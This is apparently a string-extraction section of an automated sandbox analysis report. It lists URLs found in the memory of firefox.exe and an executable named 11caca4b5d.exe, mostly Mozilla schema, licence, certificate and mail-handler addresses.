Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratiohttp://mozilla.org/#/properti
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1http://mozilla.org/#/properties/endDate
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/ratio
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items/properties/slug
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2http://mozilla.org/#/properties/outcomes/items
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/count
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/randomizationUnit
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/start
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/total
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bucketConfig/properties/totalhttp://mozilla.org/#/properties/branche
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/channel
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/disableGreaseOnFallback
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxAnyPriorityThreads
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/dnsMaxPriorityThreads
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreconnectEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/ehPreloadEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/enrollmentEndDate
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIds/itemshttp://mozilla.org/#/properties/referenceBranch
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureIdshttp://mozilla.org/#/properties/branches/anyOf/1http://moz
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/featureValidationOptOut
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/filterFetchResponse
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/forceWaitHttpsRR
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSize
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/greasePaddingSizehttp://mozilla.org/#/properties/disableGreaseOnFall
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3Enabledhttp://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/h3GreaseEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/id
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/idhttp://mozilla.org/#/properties/schemaVersionhttp://mozilla.org/#/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/insecureFallback
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperiment
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isBestMatchExperimentchangeGUID:
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPaused
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isEnrollmentPausedhttp://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/isRollout
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/javascriptValidator
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/0/additionalProperties
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/localizations/anyOf/1
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/mediaExceptionsStrategy
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoClientVariants
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/migrateExtensions
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictor
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsAlternativeEnable
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsDaysCutOff
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priorityhttp://mozilla.org/#/properties/br
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/slug
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesAlternativeEnable
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHighWeight
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesLowWeight
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesMediumWeight
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesNumSampledVisits
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCaphttp://mozilla.org/#/properties/pocketFea
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedDurationhttp://mozilla.org/#/properties/localizations
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/proposedEnrollment
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabledhttp://mozilla.org/#/properties/quickSugg
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestDataCollectionEnabledhttp://mozilla.org/#/properties/bra
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabledresource://gre/modules/shared/FormAutofillNameUti
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestImpressionCapsNonSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestOnboardingDialogVariation
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataTypehttp://mozilla.org/#/properties/qu
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestRemoteSettingsEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestShowOnboardingDialogAfterNRestarts
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/recordNavigationalSuggestionTelemetry
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/schemaVersion
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypoint
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4182000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showPreferencesEntrypointhttp://mozilla.org/#/properties/aboutWelcom
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/slug
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/startDate
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targeting
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/targetinghttp://mozilla.org/#/properties/brancheshttp://mozilla.org/
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4184000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescription
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingDescriptionhttp://mozilla.org/#/properties/originsDaysCutO
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingName
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4176000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/userFacingNamehttp://mozilla.org/#/properties/isRollouthttp://mozill
Source: firefox.exe, 0000001A.00000002.4510726727.00000253A5DE9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A44C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A582A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A5856000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510227560.00000253A5CF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4482965754.00000253A2003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4486015420.00000253A2207000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4503084858.00000253A4590000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A5805000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4220564232.000002539DD8A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4493087215.00000253A2B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4459980484.00000253A0258000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489905815.00000253A25FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4508059548.00000253A5838000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4480288941.00000253A1B7A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4489905815.00000253A25EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4486015420.00000253A2204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A44EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4480288941.00000253A1B03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4505575611.00000253A49B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4504725403.00000253A4803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sresource://gre/modules/FileUtils.sys.mjshandlerSvc
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4221552205.000002539E37D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%sresource://gre/modules/JSONFile.sys.mjsresource://gre/modules/J
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001A.00000002.4491115674.00000253A2687000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E79E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E746000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F413000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2F0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4502324361.00000253A4491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4226499551.000002539E7E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4501614381.00000253A43C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4495762055.00000253A2FDB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4504725403.00000253A48E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4384155043.000002539F457000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.4499929210.00000253A4117000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulExpected
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E7AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-develo
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/PartnerLinkAttribut
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510726727.00000253A5DA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 11caca4b5d.exe, 0000000A.00000003.3955267682.0000000005A7A000.00000004.00000800.00020000.00000000.sdmp, 11caca4b5d.exe, 0000000C.00000003.4069346301.0000000005CD2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4498274385.00000253A3F4D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4510726727.00000253A5DA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.4221317638.000002539E180000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.4125265190.0000015865070000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.4130057539.000001E59D400000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036390962.00000253A223C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036188223.00000253A221F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4036868673.00000253A225A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.4479641147.00000253A1970000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.4035830721.00000253A2000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.4037355040.00000253A2277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001A.00000002.4226499551.000002539E772000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/initializedAttributeInheritance
